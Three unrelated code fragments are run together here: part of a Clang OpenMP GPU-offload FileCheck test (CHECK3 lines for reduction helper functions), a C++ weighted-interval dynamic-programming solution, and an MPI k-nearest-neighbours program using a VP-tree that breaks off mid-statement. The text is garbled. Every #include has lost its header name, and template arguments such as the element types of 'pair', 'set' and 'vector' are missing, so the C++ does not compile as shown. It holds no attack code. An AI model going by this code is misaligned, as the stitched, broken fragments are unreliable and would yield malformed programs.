[[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK3-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK3-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK3-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK3-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK3-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK3-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK3-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK3-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 4 // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 4 // CHECK3-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK3-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK3-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK3-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK3-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK3-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK3-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK3-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK3-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK3-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK3-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK3-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK3-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 4 // CHECK3-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK3-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK3-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK3-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK3-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK3-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK3-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK3-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK3-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK3-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK3-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK3-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK3-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK3-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK3: then5: // CHECK3-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK3-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK3-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK3-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK3-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK3-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK3-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK3-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 4 // CHECK3-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK3-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK3-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK3-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK3-NEXT: br label [[IFCONT7:%.*]] // CHECK3: else6: // CHECK3-NEXT: br label [[IFCONT7]] // CHECK3: ifcont7: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func16 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK3-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK3-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK3-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK3: then2: // CHECK3-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK3-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK3-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK3-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK3-NEXT: br label [[IFCONT4:%.*]] // CHECK3: else3: // CHECK3-NEXT: br label [[IFCONT4]] // CHECK3: ifcont4: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK3: then6: // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK3-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK3-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK3-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK3-NEXT: br label [[IFCONT8:%.*]] // CHECK3: else7: // CHECK3-NEXT: br label [[IFCONT8]] // CHECK3: ifcont8: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK3: then10: // CHECK3-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK3-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 4 // CHECK3-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK3-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK3-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK3-NEXT: br label [[IFCONT12:%.*]] // CHECK3: else11: // CHECK3-NEXT: br label [[IFCONT12]] // CHECK3: ifcont12: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_copy_func17 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK3-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK3-NEXT: store i32 [[TMP12]], i32* [[TMP11]], align 128 // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK3-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK3-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK3-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP15]], align 2 // CHECK3-NEXT: store i16 [[TMP17]], i16* [[TMP16]], align 128 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_list_to_global_reduce_func18 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK3-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP12]], i8* [[TMP13]]) #[[ATTR3]] // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_copy_func19 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK3-NEXT: [[TMP5:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = bitcast i8* [[TMP5]] to %struct._globalized_locals_ty.1* // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK3-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 0 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP11]], align 128 // CHECK3-NEXT: store i32 [[TMP12]], i32* [[TMP10]], align 4 // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP14:%.*]] = load i8*, i8** [[TMP13]], align 4 // CHECK3-NEXT: [[TMP15:%.*]] = bitcast i8* [[TMP14]] to i16* // CHECK3-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP6]], i32 0, i32 1 // CHECK3-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP7]] // CHECK3-NEXT: [[TMP17:%.*]] = load i16, i16* [[TMP16]], align 128 // CHECK3-NEXT: store i16 [[TMP17]], i16* [[TMP15]], align 2 // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_global_to_list_reduce_func20 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]], i8* [[TMP2:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: store i8* [[TMP2]], i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to %struct._globalized_locals_ty.1* // CHECK3-NEXT: [[TMP5:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[A:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1:%.*]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 0 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2048 x i32], [2048 x i32]* [[A]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP8:%.*]] = bitcast i32* [[TMP7]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP6]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[B:%.*]] = getelementptr inbounds [[STRUCT__GLOBALIZED_LOCALS_TY_1]], %struct._globalized_locals_ty.1* [[TMP4]], i32 0, i32 1 // CHECK3-NEXT: [[TMP10:%.*]] = getelementptr inbounds [2048 x i16], [2048 x i16]* [[B]], i32 0, i32 [[TMP5]] // CHECK3-NEXT: [[TMP11:%.*]] = bitcast i16* [[TMP10]] to i8* // CHECK3-NEXT: store i8* [[TMP11]], i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP13:%.*]] = load i8*, i8** [[DOTADDR2]], align 4 // CHECK3-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP13]], i8* [[TMP12]]) #[[ATTR3]] // CHECK3-NEXT: ret void // #include #include #include #include #include #include using namespace std; #define ll long long #define pii pair int main() { ll n; cin >> n; pii ints [n]; ll intScore [n]; set pointsSet; for (ll i = 0; i < n; i++) { ll s, e, p; cin >> s >> e >> p; e++; ints[i] = pii(s, e); intScore[i] = p; pointsSet.insert(s); pointsSet.insert(e); } vector pointsVec; unordered_map compress; for (ll i : pointsSet) { pointsVec.push_back(i); compress[i] = pointsVec.size()-1; } vector endAt [pointsVec.size()]; for (int i = 0; i < n; i++) endAt[compress[ints[i].first]].push_back(pii(compress[ints[i].second], intScore[i])); ll dp [pointsVec.size()]; ll mVal [pointsVec.size()]; for (ll i = pointsVec.size()-1; i >= 0; i--) { if (i < pointsVec.size()-1) dp[i] = mVal[i+1]; else dp[i] = 0; for (pii j : endAt[i]) { ll loc = j.second+mVal[j.first]; dp[i] = max(dp[i], loc); } mVal[i] = dp[i]; if (i < pointsVec.size()-1) mVal[i] = max(mVal[i], mVal[i+1]); } cout << dp[0]; ll d = 0; d++; }#include #include #include #include #include "../lib/knn_result.hpp" #include "../lib/rapidcsv.h" #include "../lib/knn_lib.hpp" int main(int argc, char **argv){ if (argc != 3) { std::cout << "Wrong number of arguments. Exiting ..." << std::endl; std::cout << "Usage: " << argv[0] << " /path/to/file " << std::endl; std::cout << std::endl; exit(1); } // opening already parsed csv files // this also assumes that all mpi processes have access to the files // that will be processed and the same file hierarchy is required. rapidcsv::Document document = rapidcsv::Document(); document.Load(argv[1]); int n = document.GetRowCount(); int d = document.GetColumnCount(); char *end; int k = strtol(argv[2], &end, 10); std::vector X = std::vector(n * d); // create a n*d vector from row vectors. for (int i = 0; i < n; ++i) { auto vec = document.GetRow(i); std::copy(vec.begin(), vec.end(), X.begin() + (i * d)); vec.clear(); } MPI_Request req[6] {MPI_REQUEST_NULL, MPI_REQUEST_NULL, MPI_REQUEST_NULL, MPI_REQUEST_NULL, MPI_REQUEST_NULL, MPI_REQUEST_NULL}; MPI_Status stats[6]; MPI_Status status; int processes, pid; MPI_Init(nullptr, nullptr); MPI_Comm_size(MPI_COMM_WORLD, &processes); MPI_Comm_rank(MPI_COMM_WORLD, &pid); int chunks = processes>1 ? n/processes : n; auto start = std::chrono::high_resolution_clock::now(); std::vector X_local, Y, Z; int counter=0; KNNResult subKNN = KNNResult(chunks+1,k); std::vector dists; std::vector indices; X_local = std::vector(chunks*d); std::copy(X.begin()+(pid*chunks*d), X.begin()+((pid+1)*chunks*d), X_local.begin()); Y = std::vector(chunks*d); Z = std::vector(chunks*d); std::copy(X_local.begin(), X_local.end(), Y.begin()); int next = pid +1, previous = pid-1; if(!pid){ previous = processes-1; } else if (pid == processes -1){ next = 0; } auto vpTree = (VPTree*) malloc(sizeof (VPTree)); vpTree = vpt_create(X_local.data(), vpTree, d,k); VPTree * current_node = vpTree; dists = std::vector(k); indices = 